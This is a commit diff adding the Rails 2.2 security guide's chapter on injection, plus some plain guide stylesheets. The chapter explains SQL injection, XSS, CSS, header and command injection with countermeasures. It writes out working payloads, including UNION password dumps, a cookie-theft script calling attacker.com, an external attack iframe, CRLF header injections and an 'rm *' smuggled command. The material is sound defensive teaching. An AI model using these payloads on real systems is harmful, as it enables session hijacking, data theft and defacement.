+
+== Injection
+
+-- _Injection is a class of attacks that introduce malicious code or parameters into a web application in order to run it within its security context. Prominent examples of injection are cross-site scripting (XSS) and SQL injection._
+
+Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query or programming language, the shell or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection.
+
+=== Whitelists versus Blacklists
+
+-- _When sanitizing, protecting or verifying something, whitelists over blacklists._
+
+A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although, sometimes it is not possible to create a whitelist (in a SPAM filter, for example), [,#fffcdb]#prefer to use whitelist approaches#:
+
+- Use before_filter :only => [...] instead of :except => [...]. This way you don't forget to turn it off for newly added actions.
+- Use attr_accessible instead of attr_protected. See the mass-assignment section for details
+- Allow <strong> instead of removing <script> against Cross-Site Scripting (XSS). See below for details.
+- Don't try to correct user input by blacklists:
+ * This will make the attack work: "<sc<script>ript>".gsub("<script>", "")
+ * But reject malformed input
+
+Whitelists are also a good approach against the human factor of forgetting something in the blacklist.
+
+=== SQL Injection
+
+-- _Thanks to clever methods, this is hardly a problem in most Rails applications. However, this is a very devastating and common attack in web applications, so it is important to understand the problem._
+
+==== Introduction
+
+SQL injection attacks aim at influencing database queries by manipulating web application parameters. A popular goal of SQL injection attacks is to bypass authorization. Another goal is to carry out data manipulation or reading arbitrary data. Here is an example of how not to use user input data in a query:
+
+[source, ruby]
+----------------------------------------------------------------------------
+Project.find(:all, :conditions => "name = '#{params[:name]}'")
+----------------------------------------------------------------------------
+
+This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters ' OR 1=1', the resulting SQL query will be:
+
+..........
+SELECT * FROM projects WHERE name = '' OR 1 --'
+..........
+
+The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records.
+
+==== Bypassing authorization
+
+Usually a web application includes access control. The user enters his login credentials, the web applications tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.
+
+[source, ruby]
+----------------------------------------------------------------------------
+User.find(:first, "login = '#{params[:name]}' AND password = '#{params[:password]}'")
+----------------------------------------------------------------------------
+
+If an attacker enters ' OR '1'='1 as the name, and ' OR '2'>'1 as the password, the resulting SQL query will be:
+
+.........
+SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
+.........
+
+This will simply find the first record in the database, and grants access to this user.
+
+==== Unauthorized reading
+
+The UNION statement connects two SQL queries and returns the data in one set. An attacker can use it to read arbitrary data from the database. Let's take the example from above:
+
+[source, ruby]
+----------------------------------------------------------------------------
+Project.find(:all, :conditions => "name = '#{params[:name]}'")
+----------------------------------------------------------------------------
+
+And now let's inject another query using the UNION statement:
+
+............
+') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --
+............
+
+This will result in the following SQL query:
+
+............
+SELECT * FROM projects WHERE (name = '') UNION 
+  SELECT id,login AS name,password AS description,1,1,1 FROM users --')
+............
+
+The result won't be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That's why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query.
+
+Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails http://www.rorsecurity.info/2008/09/08/sql-injection-issue-in-limit-and-offset-parameter/[to at least 2.1.1].
+
+==== Countermeasures
+
+Ruby on Rails has a built in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. [,#fffcdb]#Using Model.find(id) or Model.find_by_some thing(something) automatically applies this countermeasure[,#fffcdb]#. But in SQL fragments, especially [,#fffcdb]#in conditions fragments (:conditions => "..."), the connection.execute() or Model.find_by_sql() methods, it has to be applied manually#.
+
+Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this:
+
+[source, ruby]
+----------------------------------------------------------------------------
+Model.find(:first, :conditions => ["login = ? AND password = ?", entered_user_name, entered_password])
+----------------------------------------------------------------------------
+
+As you can see, the first part of the array is an SQL fragment with question marks. The sanitized versions of the variables in the second part of the array replace the question marks. Or you can pass a hash for the same result:
+
+[source, ruby]
+----------------------------------------------------------------------------
+Model.find(:first, :conditions => {:login => entered_user_name, :password => entered_password})
+----------------------------------------------------------------------------
+
+The array or hash form is only available in model instances. You can try +sanitize_sql()+ elsewhere. [,#fffcdb]#Make it a habit to think about the security consequences when using an external string in SQL#.
+
+=== Cross-Site Scripting (XSS)
+
+-- _The most widespread, and one of the most devastating security vulnerabilities in web applications is XSS. This malicious attack injects client-side executable code. Rails provides helper methods to fend these attacks off._
+
+==== Entry points
+
+An entry point is a vulnerable URL and its parameters where an attacker can start an attack.
+
+The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter – obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the http://livehttpheaders.mozdev.org/[Live HTTP Headers Firefox plugin], or client-site proxies make it easy to change requests.
+
+XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session; redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser.
+
+During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf[Symantec Global Internet Security threat report] also documented 239 browser plug-in vulnerabilities in the last six months of 2007. http://pandalabs.pandasecurity.com/archive/MPack-uncovered_2100_.aspx[Mpack] is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites http://www.0x000000.com/?i=556[were hacked] like this, among them the British government, United Nations and many more high targets.
+
+A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according to http://blog.trendmicro.com/myspace-excite-and-blick-serve-up-malicious-banner-ads/[Trend Micro].
+
+==== HTML/JavaScript Injection
+
+The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. [,#fffcdb]#Escaping user input is essential#.
+
+Here is the most straightforward test to check for XSS:
+
+..........
+<script>alert('Hello');</script>
+..........
+
+This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places:
+
+..........
+<img src=javascript:alert('Hello')>
+<table background="javascript:alert('Hello')">
+..........
+
+===== Cookie theft
+
+These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the document.cookie property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page:
+
+..........
+<script>document.write(document.cookie);</script>
+..........
+
+For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victims cookie.
+
+..........
+<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
+..........
+
+The log files on www.attacker.com will read like this:
+
+..........
+GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
+..........
+
+You can mitigate these attacks (in the obvious way) by adding the http://dev.rubyonrails.org/ticket/8895[httpOnly] flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/[will still be visible using Ajax], though.
+
+===== Defacement
+
+With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes:
+
+..........
+<iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”></iframe>
+..........
+
+This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iFrame is taken from an http://www.symantec.com/enterprise/security_response/weblog/2007/06/italy_under_attack_mpack_gang.html[actual attack] on legitimate Italian sites using the http://isc.sans.org/diary.html?storyid=3015[Mpack attack framework]. Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed.
+
+A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attackers site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site.
+
+Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson...":
+
+..........
+http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
+  <script src=http://www.securitylab.ru/test/sc.js></script><!--
+..........
+
+===== Countermeasures
+
+[,#fffcdb]#It is very important to filter malicious input, but it is also important to escape the output of the web application#.
+
+Especially for XSS, it is important to do [,#fffcdb]#whitelist input filtering instead of blacklist#. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete.
+
+Imagine a blacklist deletes “script” from the user input. Now the attacker injects “<scrscriptipt>”, and after the filter, “<script>” remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:
+
+...........
+strip_tags("some<<b>script>alert('hello')<</b>/script>") 
+...........
+
+This returned "some<script>alert('hello')</script>", which makes an attack work. That's why I vote for a whitelist approach, using the updated Rails 2 method sanitize():
+
+...........
+tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
+s = sanitize(user_input, :tags => tags, :attributes => %w(href title))
+...........
+
+This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags.
+
+As a second step, [,#fffcdb]#it is good practice to escape all output of the application#, especially when re-displaying user input, which hasn't been input filtered (as in the search form example earlier on). [,#fffcdb]#Use escapeHTML() (or its alias h()) method# to replace the HTML input characters &,",<,> by its uninterpreted representations in HTML (&amp;, &quot;, &lt; and &gt;). However, it can easily happen that the programmer forgets to use it, so [,#fffcdb]#it is recommended to use the http://safe-erb.rubyforge.org/svn/plugins/safe_erb/[SafeErb] plugin#. SafeErb reminds you to escape strings from external sources.
+
+===== Obfuscation and Encoding Injection
+
+Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in UTF-8 encoding:
+
+............
+<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;
+  &#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
+............
+
+This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php[Hackvertor]. Rails‘ sanitize() method does a good job to fend off encoding attacks.
+
+==== Examples from the underground
+
+-- _In order to understand today's attacks on web applications, it's best to take a look at some real-world attack vectors._
+
+The following is an excerpt from the http://www.symantec.com/security_response/writeup.jsp?docid=2006-061211-4111-99&tabid=1[Js.Yamanner@m] Yahoo! Mail http://groovin.net/stuff/yammer.txt[worm]. It appeared on June 11, 2006 and was the first webmail interface worm:
+
+...........
+<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif' 
+  target=""onload="var http_request = false;    var Email = '';
+  var IDList = '';   var CRumb = '';   function makeRequest(url, Func, Method,Param) { ...
+...........
+
+The worms exploits a hole in Yahoo's HTML/JavaScript filter, it usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application.
+
+Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details and a video demonstration on http://rosario.valotta.googlepages.com/home[Rosario Valotta's website]. Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.
+
+In December 2006, 34,000 actual user names and passwords were stolen in a http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html[MySpace phishing attack]. The idea of the attack was to create a profile page named “login_home_index_html”, so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form.
+
+The MySpace Samy worm will be discussed in the CSS Injection section.
+
+=== CSS Injection
+
+-- _CSS Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari and others) allow JavaScript in CSS. Think twice about allowing custom CSS in your web application._
+
+CSS Injection is explained best by a well-known worm, the http://namb.la/popular/tech.html[MySpace Samy worm]. This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, but it creates too much traffic on MySpace, so that the site goes offline. The following is a technical explanation of the worm.
+
+MySpace blocks many tags, however it allows CSS. So the worm's author put JavaScript into CSS like this:
+
+...........
+<div style="background:url('javascript:alert(1)')">
+...........
+
+So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript allows has a handy eval() function which executes any string as code.
+
+...........
+<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')"> 
+...........
+
+The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word “innerHTML”:
+
+...........
+alert(eval('document.body.inne' + 'rHTML')); 
+...........
+
+The next problem was MySpace filtering the word “javascript”, so the author used “java<NEWLINE>script" to get around this:
+
+...........
+<div id="mycode" expr="alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')">
+...........
+
+Another problem for the worm's author were CSRF security tokens. Without them he couldn't send a friend request over POST. He got around it by sending a GET to the page right before adding a the user and parsing the result for the CSRF token.
+
+In the end, he got a 4 KB worm, which he injected into his profile page.
+
+The http://www.securiteam.com/securitynews/5LP051FHPE.html[moz-binding] CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example).
+
+==== Countermeasures
+This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, I am not aware of a whitelist CSS filter. [,#fffcdb]#If you want to allow custom colours or images, you can allow the user to choose them and build the CSS in the web application#. Use Rails' +sanitize()+ method as a model for a whitelist CSS filter, if you really need one.
+
+=== Textile Injection
+
+-- _If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. http://whytheluckystiff.net/ruby/redcloth/[RedCloth] is such a language for Ruby, but without precautions, it is also vulnerable to XSS._
+
+	For example, RedCloth translates _test_ to <em>test<em>, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS. Get the http://www.redcloth.org[all-new version 4] that removed serious bugs. However, even that version has http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html[some security bugs], so the countermeasures still apply. Here is an example for version 3.0.4:
+
+
+...........
+>> RedCloth.new('<script>alert(1)</script>').to_html
+=> "<script>alert(1)</script>"
+...........
+
+Use the :filter_html option to remove HTML which was not created by the Textile processor.
+
+...........
+>> RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html
+=> "alert(1)"
+...........
+
+However, this does not filter all HTML, a few tags will be left (by design), for example <a>:
+
+...........
+>> RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
+=> "<p><a href="javascript:alert(1)">hello</a></p>"
+...........
+
+==== Countermeasures
+
+It is recommended to [,#fffcdb]#use RedCloth in combination with a whitelist input filter#, as described in the countermeasures against XSS.
+
+=== Ajax Injection
+
+-- _The same security precautions have to be taken for Ajax actions as for “normal” ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view._
+
+If you use the http://dev.rubyonrails.org/browser/plugins/in_place_editing[in_place_editor plugin], or actions that return a string, rather than rendering a view, [,#fffcdb]#you have to escape the return value in the action#. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.
+
+=== RJS Injection
+
+-- _Don't forget to escape in JavaScript (RJS) templates, too._
+
+The RJS API generates blocks of JavaScript code based on Ruby code, thus allowing you to manipulate a view or parts of a view from the server side. [,#fffcdb]#If you allow user input in RJS templates, do escape it using escape_javascript() within JavaScript functions, and in HTML parts using h()#. Otherwise an attacker could execute arbitrary JavaScript.
+
+=== Command Line Injection
+
+-- _Use user-supplied command line parameters with caution._
+
+If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and \`command`. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|).
+
+A countermeasure is to [,#fffcdb]#use the +system(command, parameters)+ method which passes command line parameters safely#.
+
+..........
+system("/bin/echo","hello; rm *")
+# prints "hello; rm *" and does not delete files
+..........
+
+
+=== Header Injection
+-- _HTTP headers are dynamically generated and under certain circumstances user input may be injected. This can lead to false redirection, XSS or HTTP response splitting._
+
+HTTP request headers have a Referer, User-Agent (client software) and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. [,#fffcdb]#Remember to escape these header fields, too.# For example when you display the user agent in an administration area.
+
+Besides that, it is [,#fffcdb]#important to know what you are doing when building response headers partly based on user input.# For example you want to redirect the user back to a specific page. To do that you introduced a “referer“ field in a form to redirect to the given address:
+
+..........
+redirect_to params[:referer]
+..........
+
+What happens is that Rails puts the string into the Location header field and sends a 302 (redirect) status to the browser. The first thing a malicious user would do, is this:
+
+..........
+http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld
+..........
+
+And due to a bug in (Ruby and) Rails up to version 2.1.2 (excluding it), a hacker may inject arbitrary header fields; for example like this:
+
+..........
+http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
+http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld
+..........
+
+Note that "%0d%0a" is URL-encoded for "\r\n" which is a carriage-return and line-feed (CRLF) in Ruby. So the resulting HTTP header for the second example will be the following because the second Location header field overwrites the first.
+
+..........
+HTTP/1.1 302 Moved Temporarily
+(...)
+Location: http://www.malicious.tld
+..........
+
+So [,#fffcdb]#attack vectors for Header Injection are based on the injection of CRLF characters in a header field.# And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. [,#fffcdb]#Rails 2.1.2 escapes these characters for the Location field in the redirect_to method. Make sure you do it yourself when you build other header fields with user input.#
+
+==== Response Splitting
+If Header Injection was possible, Response Splitting might be, too. In HTTP, the header block is followed by two CRLFs and the actual data (usually HTML). The idea of Response Splitting is to inject two CRLFs into a header field, followed by another response with malicious HTML. The response will be:
+
+..........
+HTTP/1.1 302 Found [First standard 302 response]
+Date: Tue, 12 Apr 2005 22:09:07 GMT
+Location:
Content-Type: text/html
+
+
+HTTP/1.1 200 OK [Second New response created by attacker begins]
+Content-Type: text/html
+
+
+<html><font color=red>hey</font></html> [Arbitary malicious input is
+Keep-Alive: timeout=15, max=100         shown as the redirected page]
+Connection: Keep-Alive
+Transfer-Encoding: chunked
+Content-Type: text/html
+..........
+
+Under certain circumstances this would present the malicious HTML to the victim. However, this seems to work with Keep-Alive connections, only (and many browsers are using one-time connections). But you can't rely on this. [,#fffcdb]#In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks.#
+
+
+== Additional resources
+
+The security landscape shifts and it is important to keep up to date, because missing a new vulnerability can be catastrophic. You can find additional resources about (Rails) security here:
+
+- The Ruby on Rails security project posts security news regularly: http://www.rorsecurity.info[http://www.rorsecurity.info]
+- Subscribe to the Rails security http://groups.google.com/group/rubyonrails-security[mailing list]
+- http://secunia.com/[Keep up to date on the other application layers] (they have a weekly newsletter, too)
+- A http://ha.ckers.org/blog/[good security blog] including the http://ha.ckers.org/xss.html[Cross-Site scripting Cheat Sheet]
+- Another http://www.0x000000.com/[good security blog] with some Cheat Sheets, too
+
+== Changelog ==
+
+http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/7[Lighthouse ticket]
+
+* November 1, 2008: First approved version by Heiko Webers

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/stylesheets/base.css
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/stylesheets/base.css	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/stylesheets/base.css	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,358 @@
+/* ----------------------------------------------------------------------------
+
+    Ruby on Rails, hijacked for Hieraki
+    Stylesheet for http://rubyonrails.org
+
+    1. General HTML elements
+    2. General classes
+    3. General structure
+		1. header
+		2. Content
+		3. Sidebar
+    4. Sitewide elements 
+    	1. Introduction boxes
+    	2. Navigation
+    5. Elements for specific areas
+    	1. Weblog
+		
+---------------------------------------------------------------------------- */
+
+* {
+	margin:                     0;
+	padding:                    0;	
+}
+
+body {	
+	color:						#333333;
+
+	background-color:           #FFFFFF;
+	background-image:			url(../images/header_backdrop.png);
+	background-repeat:			repeat-x;
+	background-position:		0 -25px;
+
+	font-size:					80%;	
+	font-family:				verdana, helvetica, arial, sans-serif;
+	line-height:				1.7em;
+	
+	/* Center in IE5.5 */
+	text-align:					center;
+}
+
+h1 {
+	font-size:					2em;
+	font-weight:				normal;
+	letter-spacing:				-0.04em;
+}
+
+h2 {
+	font-size:					1.5em;
+	font-weight:				normal;
+	letter-spacing:				-0.04em;
+}
+
+h1,h2,h3,h4,h5,h6 {
+  margin-top:					1em;
+  margin-bottom:				0.5em;
+}
+.pageheader a:link, .pageheader a:visited{
+  color:						#333;
+  text-decoration:  none;
+}
+
+img {
+	border:						none;
+}
+
+p {
+	margin-bottom:				1em;
+}
+
+a:link {
+	color:						#BB2233;
+}
+
+a:visited {
+	color:						#991122;
+}
+
+a:hover {
+	color:						#CC2233;
+	background-color:			#EEEEEE;
+}
+
+a:active {
+}
+
+ul {
+	margin-top:					1em;
+	list-style-type:			none;
+}
+
+ul li {
+	margin-left:				0.5em;
+	padding-left:				1em;
+	
+	background-image:			url(../images/bullet.gif);
+	background-repeat:			no-repeat;
+	background-position:		0 0.55em;
+}
+
+/* ----------------------------------------------------------------------------
+	Structure
+---------------------------------------------------------------------------- */
+
+div#container {
+	width:						90%;
+	max-width:					790px;	
+
+	margin-top:					10px;
+	margin-left:				auto;
+	margin-right:				auto;
+
+	font-size:					1em;
+
+	/* Don't center text, only div#container */
+	text-align:					left;
+}
+
+div#header {
+	/* This height controls the vertical position of #content and #sidebar */
+	height:						160px;
+	overflow:					hidden;
+}
+
+div#header h1 {
+	height:						30px;
+		
+	margin:						0;
+	margin-top:				10px;
+	margin-left:			100px;
+	padding:					0;
+	font-weight:      bold;
+	font-size:        24pt;
+}
+div#header p {
+  height:						30px;		
+	margin:						0;
+	margin-left:			160px;
+	padding:					0;
+	font-weight:      bold;
+	font-size:        14pt;
+	color:            #999;
+}
+/*
+div#logo {
+	float:						left;
+	width:						110px;
+	height:						140px;
+	margin-right:			31px;
+}
+*/
+
+
+div#content {
+	margin-left:				170px;
+}
+
+/* Fix the IE only 3pixel jog - documented at http://www.positioniseverything.net/articles/hollyhack.html#haslayout \*/
+* html #content {
+	height: 1px;
+}
+/* End hide from IE5-mac */
+
+div#sidebar {
+	float: 						  left;
+	width: 						  170px;
+	margin-top:					-4px;
+	font-size:					0.8em;
+}
+
+div#sidebar h2 {
+	margin:						  0;
+	font-size:					1.1em;
+	font-weight:				bold;
+}
+
+div#sidebar ul {
+	margin-top:					0;
+	margin-bottom:			1em;
+	padding:					  0;
+}
+
+div#sidebar ol li {
+	margin:						  0 0 2px 0px;
+	padding:					  0;
+	line-height:				1.3em;	
+	background-image:		none;
+}
+
+div#sidebar ol li a {
+	display:					  block;
+	width:						  150px;
+	padding:					  0.2em 0;
+}
+
+div#sidebar ul li  {
+  margin-left: 10px;
+}
+
+div#sidebar ol>ol  {
+  padding-left: 5px;
+  padding-right: 5px;
+  list-style-type:			none;
+  
+}
+
+div#sidebar ol>ol li a {
+	display:					block;
+	width:						140px;
+	padding:					0.2em 0;
+	margin-left: 10px;
+	
+}
+
+div#sidebar ol li a:hover {
+}
+
+/* ----------------------------------------------------------------------------
+	Specific site-wide elements
+---------------------------------------------------------------------------- */
+
+/* Introduction boxes */
+
+.introduction {
+
+	margin-bottom:				1em;
+	padding:					1em;
+	background-color:			#D6DFE8;
+}
+
+.introduction p {
+	margin-bottom:				0;
+}
+
+/* Navigation */
+
+ul#navMain {
+	height:						22px;
+	margin: 					0;
+	margin-left:      140px;
+	padding: 					16px 0;
+
+	list-style-type:			none;	
+}
+
+ul#navMain li {
+	display:					inline;
+	background-image:			none;	
+	margin:						0;
+	padding:					0;
+}
+
+ul#navMain li {
+	border-left:				1px solid #FFFFFF;
+}
+
+ul#navMain li.first-child {
+	/* Wouldn't it be nice if IE was up-to-date with the rest of the world so we could skip 
+	superfluous classes? */
+	border-left:				none;		
+}
+
+ul#navMain li a {		
+	padding:					0.2em 1em;	
+	
+	color:						#FFFFFF;
+	text-decoration:			none;
+}
+
+ul#navMain li.first-child a {
+	/* Wouldn't it be nice if IE was up-to-date with the rest of the world? */
+	padding-left:				0;
+}
+
+ul#navMain li a:hover {	
+	text-decoration:			underline;
+	background-color:			transparent;
+}
+
+/* Mark the current page */
+ul#navMain li.current a {
+	font-weight:				bold;
+}
+
+
+/* ----------------------------------------------------------------------------
+	Elements for specific areas
+---------------------------------------------------------------------------- */
+
+/* Weblog */
+
+.blogEntry {
+	margin-bottom:				2em;
+}
+
+.blogEntry h2 {
+	margin-top:					0;
+	margin-bottom:				0;
+}
+
+p.metaData {
+	color:						#999999;
+	font-size:					0.9em;
+}
+
+
+/* Reference documentation */
+
+#reference #sidebar {
+	display:					none;
+	width:						0;
+}
+
+#reference #content {
+	margin-left:				0;
+}
+
+#reference #content #api {
+	width:						100%;
+	height:						800px;
+}
+
+#reference #logo {
+	width:						80px;
+	height:						86px;
+
+	margin-right:				0;
+}
+
+#reference #logo img {
+	height:						84px;
+}
+
+#reference {
+	/* The header is smaller on the reference page, move the background up so the menu is in the 
+	proper place still */
+	background-position:		0 -70px;
+}
+
+#reference #header {
+	height:						90px;
+}
+
+#reference #header h1 {
+	height:						24px;
+
+	margin-top:					2px;
+	margin-left:				0;
+	
+	background-image:			none;
+
+	text-indent:				0;
+	font-size:					1.5em;
+	font-weight:				bold;
+	
+}
+#reference #container {
+	max-width:					100%;
+}
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/stylesheets/forms.css
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/stylesheets/forms.css	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/stylesheets/forms.css	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,35 @@
+label, input {
+	display:          block;
+	float:            left;
+ 	margin-bottom:    10px;
+}
+
+label {
+  text-align:       right;
+  width:            80px;
+  padding-right:    5px;
+  font-weight:      bold;
+}
+
+
+table {
+  border: 0;
+}
+
+form>h1{
+
+  padding-bottom: 2px;
+  border-bottom: 1px solid gray;
+  margin-bottom: 30px;
+
+}
+
+td {
+ vertical-align: top; 
+}
+
+#livepreview {
+  padding: 5px;
+  border: 1px solid #ccc;
+
+}
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/stylesheets/more.css
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/stylesheets/more.css	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/stylesheets/more.css	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,82 @@
+.admin {
+  display:none;
+}
+
+#navAuthor {
+  text-align: right;
+}
+
+.bookinfo, .userinfo, pre {
+  padding: 10px;
+  background: #eee;
+  border: 1px solid #ccc;
+}
+
+pre { 
+  overflow: auto; 
+}
+
+#content pre, #content ul {
+  margin-bottom: 10px;
+}
+
+#content ol>ol {
+  padding-left : 30px;
+}
+
+div#header h1 a{
+	color: #333333;
+	text-decoration:  none;		
+}
+
+div#header p a{
+  text-decoration:  none;
+	color:            #999;
+}
+
+.left-floaty {
+  padding: 3px 15px;
+  float:left;
+}
+
+.right-floaty {
+  float:right;
+  padding: 3px 15px;
+}
+
+.figure {
+  border: 1px solid black;
+  line-height: normal;
+  background: #FFE;
+  margin: 1em;
+}
+
+.figure .caption {
+  background: #B00;
+  color: white;
+  font-weight: bold;
+  padding: 4px 24px 4px 8px;
+  margin-left: -4px;
+  border: 1px dotted #F77;
+}
+
+.figure .body {
+  padding: 0.5em;
